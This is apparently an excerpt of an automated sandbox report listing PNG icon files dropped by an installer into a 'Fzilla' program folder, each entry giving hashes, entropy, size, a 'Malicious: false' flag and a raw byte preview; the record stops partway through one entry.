SHA1:	B1D20923C6BFC113A0C878F6A8C39798C98FD37A
SHA-256:	1D6668E1298D6D597B25E7A694981C5657B15B82D3D51C51D420413A00B57E3A
SHA-512:	564813F9BE6776BCF854198521F082C8BD6C00523B164EF2138489215DE2D5E299B3E9E7FAE5F53DDAA5AB2F2BA0DAA160BE7309CC94272865FF0797CD4E08A2
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..T..6G.....g#......._T.A..m...6.m[Q.~...s^.l.m..7..9s..wF.hl.-.y..6n.x...<.~.......M.....dx....;.3h...?z....=..z.g...?..u.y.FGG/..m...CF.y.`2....8..q.}..8p }.....{........s.U..]..y....R.s......NNN.....5.....?./.L....o......S8....o..:.......`0...f...?........?..8..x.#.RJ......x\v.].c...7D"...Xl ..9.s^y....z..C+..j.......l.......S.T*..g.M...F..s.......PJ.....B.# H0n.........!....\...;.$.!Q.Z!..c...q..L..$....L...~........E..Y.g...a.......'....W..L..B........F.^.0(FLMM...q.......,T......G.Lb: ..K......^.`.m...I.s.Z..........=.?2h9'H$'.dhL.L...^a..W(q~..bA...pm1.......`....8-.n...A...I.G..2M.n....F...@...h-.;&.S .V.d...d&.a..S.P..))..n....e....!.....bor1..s..\...q.K..../.i..M....[..pf.\|>o...k.&`..A.&..\|...+.H..^..}Q.V#.J._.d.@..JOO.'.]..+...sA..:....V.A......x..Hu.....X......_}.u..n=........\L.D.q<..~..X&.y..yby.L.4..... ,.W[=@..a.~...'..;...4.u...m.nl;Y.m.m[....X.....\|..t..0/..v........_..

C:\Program Files (x86)\Fzilla\resources\lone\32x32\speedlimits.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2305
Entropy (8bit):	7.884673549108536
Encrypted:	false
SSDEEP:	48:8XAw5ajS8VVYFdnuNesPWEU2L2M7jUjWMOmNzv49Uc:8IjhVV56EUu2M7PuaX
MD5:	F49B3220A64C71CACBD07C4982243B4A
SHA1:	839E5AE0ACA037CF0FA9B8286C1D07397665DC9F
SHA-256:	38F31548EFD96187C765379F6726516AB8A5327A06D88861A5D1E5385B8721BE
SHA-512:	4733B1A2AB893C853554E3D2FE0CC45E588C908CE724D69112AE891A2935D0EC5282598E17170AFE6A262B97A436301F1A5793B86136B7D1ED99D5C6ED681E25
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....t.....i...mR....]..X..m;.m......4.}}...wr.d.{..;.....~M../....#....m....G%.Q....wu.~..d;p..G.1....t..tG........{]\<ow....[<k0P.8.r..x.wt.....U...^.{.............8..1.k.2.}.;;..P\uv.C....;..x.S..Qc..~.V....8..L...\|.....O>..&.3O...S.0i.o........o.]..A..\|..E...f./.#........ph.P~p...Y.K0......v.....1.x.(s`+px..im...o...}...w/.w.d.5\|.h.c..a.\|..N=.G.~..g?..;.....v.1.EX.b-..l.....;.#...a.6\.....}6p`.....U;;..&.).T....1...e8~.:.Z.....F...c.>l._....b....G..v~...u'<A.J#[.o..AC.zs....^..._j./N7ir.n.&.....r.=..G..m...x...H.1..3z.HF...........S'>h.....A..8......7v.e..b..t..~....p]..t.H.J</.%.8...;./).]...K.0IJ.v........;w..v-.v..@..B.0.)h.a...:.....b..=]3..=1lXJ...7n..ne..U._..)g.0+..9yy.-.fnI.".........d.#\|"....^.\.....O.../...k..8.k.>4..I...={...!..}....j...2O.m...If'%1....g.,..V.s.a.5y.....J.j.e..W.d.4\...,&Y"..H..c~~~.EEE.T...*KZo..%1.'.O ...P....m..h5.].Y.yL.z..b.l6.<.~..z...QQ.JV4EFF....$...

C:\Program Files (x86)\Fzilla\resources\lone\32x32\synchronize.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2105
Entropy (8bit):	7.893806875986684
Encrypted:	false
SSDEEP:	48:nxVn8A3p0M91rqP70z+LCqe4wf40cP+NiBQ4M5jbV5rQ32v2Tt:TP3p0O1g70zGQjcP+NiBQljrQbp
MD5:	BA0F6AD63DF48313FD5338017EAC320B
SHA1:	014D527329A5B35A6559C2F3B0D0669165ADD27A
SHA-256:	891D70D1D77DF9691B3A0EC6E1E4A6E4703B9ECB5340E7F91D92B5033E272573
SHA-512:	DB53AA318CD1307C7E919E2F20044D71152935CABB63E23898ABC2296BA1748E5892FBD19F72475EACC8AF434E0D4BB5F79F9016F9BBBEE26A54D2933C1D3606
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....\|.m......,b~....l.m.m.~mW/j&..n.lV..<.}.w...O....O.<.UoH...~...].>.B..;n..@..x.\..b.i....p1.l6m.Z.@.?...7..k_......m.({..Lf......c..B.I.x...R.B......R..........[Z3Vz...o.-.x%$iJVn#..d.b..YJ.dQ.......h..;...;....:.}.w..SI{g....r[.4....L.Rk.R.)#A.(v..f..6...-{[....v..)...`?.......D3A8.r$.RH..b@(....$B..".h%I..8......ET9.a1...n..'.........X.s`] .L....@F.."M.i...Ry.1L6'{."...e......r......h0+."..M.>`l...u.=....q..4..`L...s....[.u..0\.e ./..F.S..L..ZO...c<.y.B.Dx..(...dh.\.k=.a.GD\]....2.Q,.x2M.....K .=.F.E..{..H.p&...+......'.5....M.q....7.\|%.G)zX.?F.vN.Yq.q....]...e.x./.,n/b} ..........hQ....Y....".+.'...3..V.95Q]t...>...9N.~...Af.6..E.....(...t..F.zb..q.'O>9A1.K.'.q.."r.\.W..UzF..1 ..ow.:4c...5y.b.f.......y(.f>..S ..r.oY..4'.s...4Q.7._...DQ......q.....,..e..{...........d....>.dh...6JY...+..?..w..[.n.P.9Z.!.].....eFOJ..........>..p..Li.Br..]Y.z._..C..Pg.U.v.y.>........Y*...E.~.+./............z ....

C:\Program Files (x86)\Fzilla\resources\lone\32x32\upload.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1056
Entropy (8bit):	7.7664202701837395
Encrypted:	false
SSDEEP:	24:PfJWryoPgZ/eveAzLsX2IPDTo3xgavtMZIbajxV5DPfhXz:PfJWryxg2AHsGcTo3+avtCjjr5Lf9
MD5:	890C208D968EB6C3CE0CB8267F53485C
SHA1:	5CE3CDC4F86610599F006826D12E8BF19935C1DE
SHA-256:	0E6EC88C54BBD99DCBCA7ED090B775E0EAEEC992AB20EEB1850A79A65F7E790C
SHA-512:	895B1A23A7ECA1A8C0D713FAE5DBF8454DEB2221367C379E178CDB4CAF1873224861C7FAF14E33BC77E31081C70D5D79E1A1C48B8220ED761A48C05FFEB2516D
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.....h....^.I.m.m.m.m....v{.,.V..?.W..f.#.F.6m...4q'_C\..U.zE..4.F....]H:\|..N....e..K...+a...-..%.A..g..1....j.S....{.1.5a...!7)..w...tH>v.....w}../..kW\|nj..<....7l./99.k."0..q.b./..RA.O.5q"X...c.V.v.d<\|.....U..9.Q..vGT..Q..X......M!..{....-%...O.&I....f....!v....1.l#F..3.V..K..{..p.8[q....!..;.......6f..[..M.. ..........4.>..8K1.f..n.....^...K...V-P......{...H.6~<hJ.z..{.g(i...8H.\|....A.........3%..C..R......vmy;.e'.9............B.@.'......MR.\...r%../F1.2ww.I$...........Wa.%S.i...%.o"E0..TE..J...-..<.l..H.......H.3el.m......h...:.C.~...[3...l...u....H.R..ZX...+d9...Q.~....v=..P@.. .(......q.&..-....t5k...A\..@....+.&.?..}.._.,0...7 ...~.........op....j!i.>.^.... ..Z..........S>z.de.R..>}...D&...!...<..S....Rwwa6. ....T.5'i........ps..../q..PT...k.I.5.SL.Z9f\.Z??P.g.B8\|^....Iw...BC.+T3 ....O....\X..#....K.BQ..q._.......g.....Q6.a<.......e.......3$<\|1K.....\|4...M.F.#s.FF

C:\Program Files (x86)\Fzilla\resources\lone\32x32\uploadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1265
Entropy (8bit):	7.792079235784413
Encrypted:	false
SSDEEP:	24:F34GNNUicyzwQ3etm1Ue2FV6P1sDz2pO5Cr11AJvYYau1bNybPK:dVrjPwmHEVMsX2Pr11AJbxybPK
MD5:	3A28A1622D5191AE4B103026D995C8FF
SHA1:	10CC1A0CBD2BFB6B1934A2C64611309BF9381F9F
SHA-256:	E210FD66F470833B09196DEB999F05C4F296EF20BC24236575BC151042F163E3
SHA-512:	B4491487D2B79EC9206DF8AF833CFD20037EA9F2156DCD406A113291E4A0E0318448B02F97B25B3F9E7C56CB7045D46BF4B808FF925B774E34C2B20DA5DEA774
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....pck...&.bU..m.H...m.=;.k....6m...;..g.......?H.oqrr2~..Y....eO.<..g. ..j>..j..D.8;;w...P..B........E.<k.)..r.)..6.w.^gooo../...n.)....i.o..'$/X.E.......G...>\|.'&.z...\.u.np...?XZZf......s.Z.._..M.>}....G....w..$.^...+....`.t...E.....I.}.....$].r.[....'&&.[\|..?...!((.^.\|...\|.7..Ahx8(.J.H.P....................;w..<xP....;..........!...@..RP[X...ZQ..6o.<y...KF..=...x..;3..=.. .....#G v.~.[YA...P..%l...a.SS.{..k.p..K.....rv...+ ....Z....+V....C.d.q]...U.cI\|...X...!..!H....-...a..P.Ib...6.oeE.......~.!.@....c..&.i.^ l.......!}..xBf...r.`..g....P.$._....Adl....!..g.7...{A.{....a.r....... 40..e....T......$..._r.^.P.VW.=}...?...$..@D.R..=.?..\|.>...H24d..{.4IxS....~..7........bp.....tw.]]!...&&C...(..D'...&.>}.W..B...I....D(M..j...E..5.B!(F..._..C..m#l.....:%....mo...HY.<.R,........E..p.lJ?}.r\N.A... @..m..[d.?..V. ..1f.h\Bt......................XY..R( ..^........zz..UWI...r.o'b%...r.d.:..LJ

C:\Program Files (x86)\Fzilla\resources\lone\48x48\ascii.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1935
Entropy (8bit):	7.854020024414465
Encrypted:	false
SSDEEP:	48:0D/LfCJMCRPFFbQPz9XzmjfrN9H0UvKVVenTS7lRlVzcK:UCJMImz8jfrzHPSLenTS77lP
MD5:	5820281B66DE463951694B6B18E6185E
SHA1:	F211F8E494ADB325792BE3C171A2C89D459EA2C8
SHA-256:	2EBA5453C13F3624309326382BB28235781691C262DBF45E4B749308D254E4A6
SHA-512:	3744F5A7DB3B177FA965FF7B2271F5E1866137EA35339F802F85F58DF63F7265E27933489EBDA7CD43B72F26E3DC5DC2E84C61DFA5149BAC25476CA12F08A6B2
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......VIDATx..Z.p4..==...Y..m.ms...m#N.mM.......oUWgfzj...S.U...O..I.!...a.%._...8..3g.\|.#..D.G"..f.V8....X............_(..^.w......./.\|..c....H.cy.t..ZSS.rrrP[[..@r..N'4.K l6..K...z..m....0ZZZ....C.9.iii .. .}...kt...:.....6..Qp.\..8...,.QsQ.B.\Gkk+..k4.@k.......x .............w...[.u..FX.....%n.....z....t..Dj.f& .B.y......W_E.]..x...@B.}n..zc..._~.%.H...2E...`...:r.E...Q]]..G3..>2....Z.B..%....g{.......A..`.X.._.....$/..Y....B..m".z..#.....N.H.(jM......=......[X.q....}..e.X+.>.[7.o..C..N..+...}.x.(..2. P#j0.q... .Z}.G..(.}3{..1c...op..F.....$..'.`.).uk."...F.......1..A...[..Jz..H....l:..*;.C.C.:..^o\....$...b...P..l...C.......`$.....-......p..Wf+.L.<.(......s....)M99h,-5m..x%y......../..{9x.zB.P..h.6.....u'\.m...{.%..U.(%...Jc.".....:...N.;................2a...1.x...>...a....2.zd......o.};.^..We.e......!..>....sjJ.%.m..:.4.........U.V....eee8HM?"....z.#vF.F..c.k..5/C8.a...-.b+.....Bt~DM._..\vA....

C:\Program Files (x86)\Fzilla\resources\lone\48x48\auto.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2024
Entropy (8bit):	7.882123376988439
Encrypted:	false
SSDEEP:	48:PXZyeIrQwtIg/wwiWbitSmZao+ed+Z1vmLqq2a3hmzHe55:xyDtIgIxWbitScao+eQvmLwaaHW
MD5:	436024743C7DD6DA27DFEF9FB6973BC7
SHA1:	AD5AD8ED21F8339C393BCE7D9C799F83BB1AF6C5
SHA-256:	FDC91F670A4B907C143FF18E1CCBA5868D8D71DECE8731A0694470B7176A305D
SHA-512:	F4C99499A7A69C2103B0B0AABC9BB908BDB9C9352808A838CEF5B4139FF6F930868A7345BD96B184651FEA6222EA6719E4056ED8F7AEED9F101FCCB6186EBDB4
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..Z.p...}{....1.".."...f.Ya9...0......}}433.b.....n.F.....Uu.N/5...[I.B....L./..r...p......#.<..B.A.......<t(.y...LM.<V.........../~....../..R.j._..\..........~@UU..."s.n..CF...bQ....*...................QQQ "u@..0<. .\|w....477.s...p.s.f.uk...;e..u4551.<G......B.@..G..{..#h8)#................z...{8.Qg.rT.V.\|.."..pb....x<...u^...k@:`.P...q......\2i .@.Lg.0..c.c....o.....A...$fk...).<.......v.A..41....B\|.!U.....I.p.q.a.!....AG:R..t.\|.t4.`..W_.^.......b.-.........3._...R.....W.....[\y0~.xI.C..D.....z.....T.Z......aIH.2R...G..)S.t:!..Gu.;..@...e_^...d.xdq....M.{.i..4}......;f...-++..'..g.}..KI...J......y.....6....E.-nt.R.....($....i..u8....~.~.{.e..N..B.....W_.Yg..5k.)Q^^./......;/..G.....>.m..Y.Qv`Y...<.F..t.M..K.v...'.S...w.es~>.u.}....SSq.N.. .y3h.`..C.#z...s.y.y..[....xK....h.mb...J!....&..........u.9/..>_..3......kg".L\|s.7.Y.....jwi...\'^.et.v..8......r;....+ ...H.yX.Vh......Q........M..Q:c4\|

C:\Program Files (x86)\Fzilla\resources\lone\48x48\binary.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2336
Entropy (8bit):	7.897739327239153
Encrypted:	false
SSDEEP:	48:xvf4swlt27DYljZhdjTprcNQTzTUmo8lx1dtOuZwzb9aM0R9Ri:NTObjZhpv5/dn+zJ4I
MD5:	C1B755C20F9A313B1F5D0851CA2357D0
SHA1:	97C1D420EC0B3D5C9C75F59988B1778ED8B50B8A
SHA-256:	1732B05802AB5567B75A784D616E01673F74C454054D65B3CA980ECCB5A325D8
SHA-512:	351FA32A8AA9BB41C21ECD71DB620E2786FCE25143BC70A9A74B3393B4F5084A073ABEDB6365E07AAF03A3B8E411BFDE5EFAB0CF1AD850870790DBECE259154C
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..Zst$...=1...m...m..m..z..m....L.1..o&...uW.t.-..(....L..D.....=...3g.([.l.9....sF5%.i..t..!Wa..>>SQ..xl....,500...{....@....;v..( /).\d..[p-11.G..ELLL....ppp.CZ.$..`fe;;;..y.jYvv6......%K....$k....LO.^..x=?YZZ.RSSyNC.....Ob{{{Q<_E333..E.'.....k..!.^..d..6...^aY...n.a...f.y..7.I......Z.`..m....###.J.@.A..8q..CF.n.\|.............7.y..3.^.~...=..7q..U.w.!..K.....Z...8..b.1h.9.../...&..W....t3....:v..R........T..A/P.^.z.a.pvv..A.dk.......#*.$^.D.xzz..+C.1/Js..7....w.m.6...b....%t...;w...kq...t..q....c..X.f............;v.!G..m..V.\|.......HE@........>.....h..+V.J.Y..5k..)((.E...Y.z.aV..8N_.r%CKV.}.Xr....&.5.......~.....E.K...%S..D..].....}={RI=(..IIy...s....?u..=.....@..8..n....ccE....Hy..X..h5.....q...)..{`....={...1c........!r..IZ.L..O..U..5..)....>D\\........`.m...^.LU\-.@..V(.g...}..,..,^.iZ2.-......c.9.<y2.P.>}..;t.P0.y....XqR4#PI.[.j.N.:..;........p.h...."..$....B.,W.g...m..x...5..R.p....;v.

C:\Program Files (x86)\Fzilla\resources\lone\48x48\bookmark.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2281
Entropy (8bit):	7.895544189257363
Encrypted:	false
SSDEEP:	48:kPGh5RAE/J6SZTCC9WVIpFkdunM8iiV6xkK7V+8q1pUh+/NK2K:oGPISz91kaMNiV2ha1pUh+4d
MD5:	DB7AC38CBD88E66B6D140C47AF2A0514
SHA1:	30BA0EA85EA3B7C7A3C89EEEBE47E3FA789ACFA2
SHA-256:	7FA7EB5416ADDA7091B6F3D460A36B4ECC0D41DAC4B867AFC4126E635FB6BA16
SHA-512:	282B043FC1D1E69FA403B48E087E38FA86728CF5823FCFA47E2E74FD38FC7B97EDCDD67576875FA1F35EF6015CE79FF3FE97BB803380D634294F8329C1279008
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....$I....FUwO....Y[g.m.m.mcm{...........cF\|.Y~.O....q..C..t^..xa....>{..s..dtR.. .....c.W........\....f...?.G.....$`..Y.R.b!..XG....@@.6`.....82\.....p.XU.w........@p.7...,.....@.{.+..q8`..k@........]{M...$@.(..s`q1.......;..E"R..I..(...^_>..V..w....G.V...X.W.We..G.....oW....."R.).N.....Ht...?.... ...x....w.2A..7..d ..._f@...7m}....R..J...\4............CC(Xc0.XE.}q.m..2+...B.l&.......s...a....(.>zb.c..l.I...T.B..E...._Z.4...eO..FV.O....tC~.GY(.6F8h]..v.U[.a...f..g.v........tA....4..`.UM.B..Z.\|..I"...+.....S...8@^.6.R.T../....k.....~..a...k..c.....:..U..."..0$.4....l..2?.\|.Z....pV..!..2#.cR&.l...0..i......N&..`..D...WV......P.v....X@...U...*+...W@.^......:.b_).=Z.l~.L%...'Mx.......).0..3.-.t....A. ...z.Qe...... ..J.".r....A~..A+.(..-P1\|@2.{w.U.\h.m....~....QX...Q.#N..H..4y.3<j@.i'%.Ct..Xj.W.........x....._{h....&S3sZ.W.)...hy..&.B7.h?....'........V..< U.H7...-..x...^.m5..

C:\Program Files (x86)\Fzilla\resources\lone\48x48\cancel.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3196
Entropy (8bit):	7.923256809742866
Encrypted:	false
SSDEEP:	96:Mf88mxxeRaY0LpfaqX1VxwEhGKcObH/Yu:Mz76QqX1VCLOrN
MD5:	6FAEA5A4CAA6BD9064007B90074FE532
SHA1:	51909BF0CF48D1E8BD40ABD53E56A1F6ECBC55D8
SHA-256:	40908F88D2F0C55EA571FAB72A70D9D66C5DAFCD018E37A5942A070123A0E3DB
SHA-512:	82B83BB9A7C65173938AE2D24F460719D06F7171A3264BE4594809F358B122397FA928D45FADBEE7342E3AB95FC0D562D5A5CDC327CA9328B2E5C5428192542F
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......CIDATx...p......F...0.............a).2.7y.a........w..U..L`..G..W...O...7....#......y..k...IV.0Ye..N`...1V/.....c3..S. .~Z...f..LT[KTSC.(.....B%C.......,........'xdQ. ./J..\|..SfO:.t&.^l.ah.....eQr.E_>.w....::la.....C..Gd..<..6..~a.S...IO..T....+l.4V..+.....s.....7..{.."#...>n.RP_1.......'=.y....DNl"..l...e..b_..wo.h.f_..o..e.w._l.9Qu.....g.q..'.$......xF......A.dI..g...d.Gpq.........k.2.(]<...?...J.......Tt....sd..Jek...;.j...=,..8c..W}...\.....I4 .......I.....-..+.....8..e8..?..h..._s.W.2...... A$.F...v.e.%...,....q.}...ZX2..;...I..A...........`.....]=r.7..P\|.AF7n$V.X ......6..^..$....@...f.\..>.....t.$Bx../x.....I.=.\...N...P..'S(.A.%....o(.X.D..B'._..}6.m...WSnjb.(...r.4....p.`<.c..1....z.w..Po.a\..../..:.Jz.....z...o.....).%..%K.kj.....=......i'...X.q....1...0......g7V..'.a./...3.$."L:M.....wX.J...._tH.5N<@...>.......HLU......?@c....s.E(u..%..V..../.....p\.VU1...8.O....p.@..,.O......&8G&.L...'.8d.4..'.

C:\Program Files (x86)\Fzilla\resources\lone\48x48\compare.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3633
Entropy (8bit):	7.928242183547683
Encrypted:	false
SSDEEP:	96:fG3mvqPsVZ5j3XYXKuSTnOC2gZAlD/ttgOntAOPEJ:uG4K5jHY6uaOC2gZChHU
MD5:	E4394CC2583E17054278BB007E8B4676
SHA1:	4A03370E5CEAD41FC8AB6C49AF2B192F64FE7845
SHA-256:	CE4476801DDB21E930434A5E95DBFB633276BD47A184EEEE7F13715D17C97A4A
SHA-512:	D78FA4042103C67DE9954020C25AED5E23B6FE7DFB3F0D968AF50D81560CA22F1DF26C8D62A6857DD074B76519CDFF3C2B0A9DE09671BDA9530AC022F07E8417
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...x........W4p..'w8<.........z..~...;1$F<...........~....G.eR...]].D.......t..bcc...U.:u.D..."..w...^\:..+.&vzc..N..X....2..Q..8.......pGR..O<.)((....D.J.$......u]0.eY?.o...TP...z....k...@..i"...}.p:.p8...`..A....t.......'.>......4...v}.J.[$.......N,hw...mj...i....w....s~..s..F..y...2.5.=R...T.&...\...........\|(q......r.-.n....Z.3..v.....,T.2...$Bg....&....d{.QA...=??............{.. ..!..........]7.......I.....u....W....M..TP.U...N.....D>g...A.\7.....P/..`..AYF@..#.....=....je.{.e..D.._.V..z..,.....4...@...0...9......C.@ X>?b..8..EP...`..<E...a...B.M.C..M...<xp.z.....\3.s`..C.9............6... .n?.)O....4.-X.;.x..b.y......d.....C\|..z&!!.......8../.?.z!.g.A!..9...8]...[.r.... [....>.@+I......S.......r^Y.B:.QAH5i.....u_.n...`....^<..e .y.[c.C.u.DD.%<5&.......3./_........r\..."w....>...BC...s/H.E.3j. J..3..H...<<.a^q...V..*...Tp...9.I.{`..KG..>.RP..1....H.Chv".n...f3.A.......N.....j

C:\Program Files (x86)\Fzilla\resources\lone\48x48\disconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3154
Entropy (8bit):	7.924166468402435
Encrypted:	false
SSDEEP:	48:ut3+AlXxBAc6DiQGVR4DJIYr0XjbIIa5RqQHZnLLoiPKmv5k4xDzuQ36EZbfWQZB:utPTmSiIYr0fI3HZnLByWZf6EZ7jZwLK
MD5:	ED4895D987F95765384883E26E97CF52
SHA1:	5E626DD9042BFB6BDDE255256A20414EAC79B2D2
SHA-256:	A97820FB66705BE9F2577EC9B0B91C82E611FB6FF87B58D4E430873DE9E67749
SHA-512:	E3BE633A88C305145CD76BC3BE3C00B1AA177986E23179AAD81BADA73716A9EFFD93A9E2104CC8B4899921421F3696A2806418D042E593E2F83E7916983B08E0
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....w....Y.C....._.!..'X<.Gqw8\|......z{.......3.....Ut.r~.V=.k...K.......'..........4@.....m^...y..W....x...[..[/.<.3...........}V....o.....Y0.jvv.[.u+s7,..........d...S'O.._.........~{..v......ju.th.....H7B.c.....`W.....j...q...b.pW..?e8f.......H....W.^.....q.....[.....a.m..p..R]...aPcpe...\|..;qfe.r.X.1.&.....<...x..[[.~4.d../Z$"....`......n...J.`......~\...El.t....Q8j.X.Zi....Z= ...L....h....XP....=.^...........6.}....w.y...A.].!L.zR\P.M.rM.j........8.....=p..'.nQ...>++6...58W....T.4Y..,[6v,=]..+....32......6F..g..<...b..=.?.(..7:.k..........C..s`.O.;.......W..x`.D.v!.j....6kBZ..........;N.mq..h.e....(.t..D....S. o7$..v.D.\|...}F.^.> c...@..J".3Z"..T.:..v.?..}M^.> .....c`...'q.X.,.Y...C2y..q`...Acy.k/.q@...EK.....,&.....G..>..d..C.g....+..x...4P..Z_.b./.....\..P.`{. a..MC..(.0.p1u..v...t......>B..p.~.FnL..Hv..m=q.......4....2yA$ +.e.#-..q. @hH...@5.9#A.."Z....UX".....>.+Z...H.o.un.p.o.........b.....jc..}

C:\Program Files (x86)\Fzilla\resources\lone\48x48\download.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1519
Entropy (8bit):	7.848203204634222
Encrypted:	false
SSDEEP:	24:kHCJOycJJIF3M6Lxvh/4LJ9DEIeDP3NhQ4e2QD0mpbFhjWIgjn:F8ycf6L1h/4jAW4sAg/WIe
MD5:	C65B2DE683E76F0CC41193B3DE27DA25
SHA1:	06EBB9E38DC11A07A39CA398A55DCFB1E85F5EDC
SHA-256:	DE6CE90556D25A59EDE052F54B68E1C36B04E0C6FC34A01CA0895684471EB2EC
SHA-512:	C69AD9F981BF9A5A9FF07889129B49DE861AC01268240F86B6FF2FFCDD01D1A3013C8AB54E8FE16A9D0E0276FC934FCA6B28E1456FEABA98CE8B767C163A7A13
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...xdY....mo..m..L....m.F..6b.../o...wq..q.E.....X.K.........>.{M.x.7.v.G.4......._....e....N.AR.Z...`..x...xxr...4.~../..`.:X~..n.v..... i#!.....( ..+.....uybzL.G...4E1p...e..k.}8..:.&_j.@..i...bu....n...~B..M......"_...;.....0...q....2../uo.$?..G.u.lK....J. B...cAI.?.Zuiz.....G......O.X.....iM-o..e..z.{.g.<-.#........1.~b..9..&.?h(N..7.$....B.....L)@..=:.4.'..../...~...E.....3.x.(\|H5.Z:.8...... .....!B...\..C......'@...P..`.<=..3....e.`......d..}6Q...X..Wh.S8V..p&o.......X=.<t=mw=...m.`.@.Gk&....T.....M./..o.......y........<.d....y...X..4.7....%vr..".6..XY .o^i.y2+.V.wy&.7~.o...[G.@Q\'2.b.R......e..U...ezX.2./3?5.9.k...p..2.r...._.`.:..;...j.c..y....JUp3m._m.......J...Q..~h~F....sAS......q9.k...L...,..c...\|...S...t..!6.2Df...PZ.j~ZLK...R.Z.+......m..XO.`(I....:.....e.68jX.k.(.V...H...7...8g)2.d..8...*.....8c^.x.....`....'........y....)XiH...N.p..-yADuf...p&~..]bmTL...=.iPSW..

C:\Program Files (x86)\Fzilla\resources\lone\48x48\downloadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1901
Entropy (8bit):	7.881672878420086
Encrypted:	false
SSDEEP:	48:Z5WJyDln+P56SmbIgbbq7iv8Uq5EPgWT2XlCmx3yHqtoM:/Wsn+P5hgbKitMTXlCmx3yHqtoM
MD5:	A19F6B61C0D8D767FCAC997893EC4EFB
SHA1:	8276380E8650768CD644DF3BD77C4DE837EFCA78
SHA-256:	3E63ABEB4CAF4780D1D5B4D7FDC6FA0CBB831BA5401B543B092A1DD98DE12EF5
SHA-512:	B3065D202DCF64FFC79CE6AD1329C648FA74019623BF1E1925BE0CAE0542B523DB17625AF504749DC85CA2B90399915D9896D632294B6C65BDBA2EAE908C3A05
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......4IDATx...T\...{....G........"8.......Q......S[}..cf}...?.........R..<.]<.y..YZZ.A..133;.}...._.A....:.%.}....r..R..5.n......>.9s AS..#.G...1999..........S.q..w...^..O..j.?....>[..!......A......k....^}@<.#.O...<<.D".P#...5.g..M.z@..`.Yf......rW..W.4.N.."..&.}..B.@PP.P..cc..Q.F)5.)0.j..\Qu(.4..2.......D.:}..=...w.}..'...EL\|.\|..._(i...w8!..(.Z\|u...?I.C......aC.[o....C.Z._.......WxN..FK9q...U..Koa........`.!;v.x...k....r......7n\...s"....~......F.-..k..u.hg4..Q.x<..P(l...........___...........<==.............(...@{@..g..E.H$...........!ha...A.,.N.\.(m.iW.......>22......b.......5..;b.d0ddd4.....j...i...;p.@...i~0Xkk..}C...N...988...'...~.@7'^..2.zl...?.&5T[[{._~9..W_.....4..r.L.wVHrb!.....1.....F.z.xi......O?=.F..N.$...v...g..e6...~..A......Kf..U.L....+...!a..,X.....w..a.X.Cnu.c.v....+^.G..a]D...@aa!...C@..=..R7+2PH.$.}.qC..............u)tP...`...+.....S.%...{..Iq.$h.#l....o.."..].Q.....'l.)....SLd......x..

C:\Program Files (x86)\Fzilla\resources\lone\48x48\file.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	685
